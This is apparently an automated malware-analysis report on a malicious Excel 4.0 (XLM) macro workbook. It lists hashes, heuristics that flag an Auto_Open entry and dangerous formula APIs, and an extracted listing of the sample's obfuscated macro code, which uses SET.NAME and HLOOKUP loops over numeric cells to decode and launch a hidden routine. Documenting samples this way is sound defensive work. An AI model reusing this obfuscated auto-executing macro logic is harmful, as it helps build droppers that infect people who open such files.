Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3cb0b30ce4069425…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:09 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: d91520aee86b32ad76309794bd7ca88a SHA-1: 16d03927e104fe0d462bf76a0dac3e566f8cd2ca SHA-256: 3cb0b30ce4069425ceca1c0415eef6fd6a76ddac78e8bcccb0d69f11194ef749
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6523 bytes
SHA-256: 2ec9f5bdf43c372eac5bb4d01b80a6b3ce88d2af3c9ce2be3736814f77bf4c05
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lAN
' 0018     26 LABEL : Cell Value, String Constant - aaifYCJDTGI len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E155 
' 0018     27 LABEL : Cell Value, String Constant - aySjNKngrFdQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - BjmSFEFW len=0 
' 0018     25 LABEL : Cell Value, String Constant - ecHUIEcLEn len=0 
' 0018     21 LABEL : Cell Value, String Constant - gGTwsg len=0 
' 0018     23 LABEL : Cell Value, String Constant - HHtTbHjB len=0 
' 0018     22 LABEL : Cell Value, String Constant - IhhNyvj len=0 
' 0018     20 LABEL : Cell Value, String Constant - iTaBd len=0 
' 0018     25 LABEL : Cell Value, String Constant - jbMENMnJgk len=0 
' 0018     21 LABEL : Cell Value, String Constant - jVzKfq len=0 
' 0018     20 LABEL : Cell Value, String Constant - lGNqe len=0 
' 0018     21 LABEL : Cell Value, String Constant - LYcItp len=0 
' 0018     22 LABEL : Cell Value, String Constant - mIKaGzQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - QeGKgMun len=0 
' 0018     25 LABEL : Cell Value, String Constant - RlZAwCuVAJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - rTYZAyCib len=0 
' 0018     20 LABEL : Cell Value, String Constant - smXOM len=0 
' 0018     25 LABEL : Cell Value, String Constant - SWxfIQJlWD len=0 
' 0018     22 LABEL : Cell Value, String Constant - umFrSZQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - xOsCxLWOO len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lAN,E54,"SET.NAME("xOsCxLWOO",0+VALUE("0"))",""
'  lAN,E59,"SET.NAME("umFrSZQ",xOsCxLWOO)",""
'  lAN,E64,"SET.NAME("aaifYCJDTGI",xOsCxLWOO)",""
'  lAN,E69,"SET.NAME("BjmSFEFW",COUNTA(jbMENMnJgk))",""
'  lAN,Q69,"",-940.00000000000000000000
'  lAN,Q70,"",-910.00000000000000000000
'  lAN,Q71,"",235.00000000000000000000
'  lAN,E72,"SET.NAME("LYcItp",COUNTA(gGTwsg))",""
'  lAN,Q72,"",-26.00000000000000000000
'  lAN,Q73,"",-40.00000000000000000000
'  lAN,Q74,"",-460.00000000000000000000
'  lAN,E76,[],""
'  lAN,E78,"SET.NAME("aySjNKngrFdQ","")",""
'  lAN,E80,"umFrSZQ",""
'  lAN,E85,"SET.NAME("iTaBd",HLOOKUP("*",jbMENMnJgk,umFrSZQ,FALSE))",""
'  lAN,E88,"rTYZAyCib",""
'  lAN,E92,"SET.NAME("lGNqe",xOsCxLWOO)",""
'  lAN,E95,[],""
'  lAN,E98,"lGNqe",""
'  lAN,E102,"SWxfIQJlWD",""
'  lAN,E107,"jVzKfq",""
'  lAN,E110,"ecHUIEcLEn",""
'  lAN,E115,"SET.NAME("HHtTbHjB",VALUE(HLOOKUP("*",gGTwsg,ecHUIEcLEn,FALSE)))",""
'  lAN,E118,"RlZAwCuVAJ",""
'  lAN,E122,"aySjNKngrFdQ",""
'  lAN,E125,"aaifYCJDTGI",""
'  lAN,E127,NEXT(),""
'  lAN,E132,"smXOM",""
'  lAN,E137,[],""
'  lAN,E142,"IhhNyvj",""
'  lAN,E146,NEXT(),""
'  lAN,E150,RETURN(),""
'  lAN,E181,"SET.NAME("QeGKgMun",E54)",""
'  lAN,E184,"jbMENMnJgk",""
'  lAN,E187,"SET.NAME("gGTwsg",R78C11)",""
'  lAN,E190,"SET.NAME("IhhNyvj",200)",""
'  lAN,E194,"SET.NAME("mIKaGzQ",5)",""
'  lAN,E199,QeGKgMun(),""
'  lAN,E200,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.